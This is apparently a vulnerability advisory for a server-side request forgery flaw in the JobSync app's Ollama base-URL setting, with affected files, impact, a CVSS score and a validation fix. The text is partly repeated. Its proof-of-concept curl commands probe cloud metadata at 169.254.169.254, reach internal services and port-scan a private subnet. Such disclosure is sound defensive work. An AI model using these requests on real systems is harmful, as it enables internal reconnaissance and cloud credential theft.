Summary
Any authenticated user can set an arbitrary URL as their Ollama base URL via the API key settings. This URL is then used by the server in fetch() calls without validation, enabling Server-Side Request Forgery (SSRF). The attacker can probe internal network services, access cloud metadata endpoints, and port-scan private infrastructure — all from the server's network context.
Affected Files
| File |
Role |
src/models/apiKey.schema.ts |
Validates Ollama "key" as z.string().min(1) — no URL format check |
src/actions/apiKey.actions.ts |
getOllamaBaseUrl() returns stored value verbatim |
src/app/api/ai/ollama/generate/route.ts |
fetch(\${baseUrl}/api/generate`)with user-controlledbaseUrl` |
src/app/api/settings/api-keys/verify/route.ts |
Ollama verifier calls fetch(key + "/api/tags") with user-supplied key |
src/lib/ai/provider-registry.server.ts |
Ollama verifier uses key as URL directly |
Root Cause
The Ollama "API key" is actually a base URL (e.g., http://localhost:11434). The schema validates it only as a non-empty string — no URL format validation, no protocol restriction, no hostname allowlist. The stored value is used directly in server-side fetch() calls.
Proof of Concept
Method 1: Via API Key Verification (No persistent storage needed)
# Probe AWS metadata service from the server
curl -X POST http://<host>:3737/api/settings/api-keys/verify \
-H "Content-Type: application/json" \
-H "Cookie: session_cookie=..." \
-d '{"provider": "ollama", "key": "http://169.254.169.254"}'
# Server executes: fetch("http://169.254.169.254/api/tags")
# Response status/error reveals reachability of internal service
Method 2: Via Stored URL + Generate Endpoint
# 1. Save a malicious Ollama URL
# (via saveApiKey server action with provider: "ollama")
# 2. Trigger server-side request to internal service
curl -X POST http://<host>:3737/api/ai/ollama/generate \
-H "Content-Type: application/json" \
-H "Cookie: session_cookie=..." \
-d '{"model": "any", "prompt": "test"}'
# Server executes: fetch("http://internal-service:8080/api/generate", { body: ... })
# The full request body from the client is forwarded to the internal service
Method 3: Port Scanning
# Enumerate internal services by varying the URL
for port in 22 80 443 3000 5432 6379 8080 9200 11434; do
curl -X POST http://<host>:3737/api/settings/api-keys/verify \
-d "{\"provider\": \"ollama\", \"key\": \"http://192.168.1.1:${port}\"}"
done
# Response timing and error messages reveal which ports are open
Impact
| Attack |
Impact |
| Cloud metadata access |
AWS/GCP/Azure instance metadata (IAM credentials, tokens) via 169.254.169.254 |
| Internal service probing |
Discover and interact with services on the private network |
| Port scanning |
Map the internal network from the server's perspective |
| Data exfiltration |
Forward request body to attacker-controlled server |
| Resource exhaustion |
Set keep_alive: -1 in Ollama requests to pin models in memory indefinitely |
Why This Matters for Self-Hosted Apps
- Self-hosted = on a private network. The JobSync server likely has access to other services (NAS, home automation, databases, other self-hosted apps). SSRF turns the JobSync server into a pivot point.
- Docker deployments. The server can reach other containers on the Docker network, container orchestration APIs, and the host's loopback services.
- Cloudflare Tunnel / Tailscale. If exposed via tunnel, the SSRF originates from inside the trusted network — bypassing firewall rules designed to keep external traffic out.
Severity
- CVSS 3.1:
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N = 8.5 (High)
- CWE-918: Server-Side Request Forgery
Suggested Fix
Validate the Ollama URL before storage and before every fetch:
function validateOllamaUrl(url: string): URL {
const parsed = new URL(url); // throws on invalid URL
if (!["http:", "https:"].includes(parsed.protocol)) {
throw new Error("Only http/https protocols allowed");
}
const hostname = parsed.hostname;
// Block private/internal addresses
if (/^(127\.|10\.|192\.168\.|172\.(1[6-9]|2\d|3[01])\.|169\.254\.|0\.|::1|localhost|metadata)/i.test(hostname)) {
throw new Error("Private/internal addresses not allowed");
}
return parsed;
}
Apply in saveApiKey() before persisting and in getOllamaBaseUrl() before returning.
Additionally, validate the request body forwarded to Ollama — only pass allowlisted fields:
const { model, prompt } = await req.json();
const safeBody = { model, prompt, stream: false };
// Don't forward raw client body
References
Summary
Any authenticated user can set an arbitrary URL as their Ollama base URL via the API key settings. This URL is then used by the server in
fetch()calls without validation, enabling Server-Side Request Forgery (SSRF). The attacker can probe internal network services, access cloud metadata endpoints, and port-scan private infrastructure — all from the server's network context.Affected Files
src/models/apiKey.schema.tsz.string().min(1)— no URL format checksrc/actions/apiKey.actions.tsgetOllamaBaseUrl()returns stored value verbatimsrc/app/api/ai/ollama/generate/route.tsfetch(\${baseUrl}/api/generate`)with user-controlledbaseUrl`src/app/api/settings/api-keys/verify/route.tsfetch(key + "/api/tags")with user-supplied keysrc/lib/ai/provider-registry.server.tskeyas URL directlyRoot Cause
The Ollama "API key" is actually a base URL (e.g.,
http://localhost:11434). The schema validates it only as a non-empty string — no URL format validation, no protocol restriction, no hostname allowlist. The stored value is used directly in server-sidefetch()calls.Proof of Concept
Method 1: Via API Key Verification (No persistent storage needed)
Method 2: Via Stored URL + Generate Endpoint
Method 3: Port Scanning
Impact
169.254.169.254keep_alive: -1in Ollama requests to pin models in memory indefinitelyWhy This Matters for Self-Hosted Apps
Severity
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N= 8.5 (High)Suggested Fix
Validate the Ollama URL before storage and before every fetch:
Apply in
saveApiKey()before persisting and ingetOllamaBaseUrl()before returning.Additionally, validate the request body forwarded to Ollama — only pass allowlisted fields:
References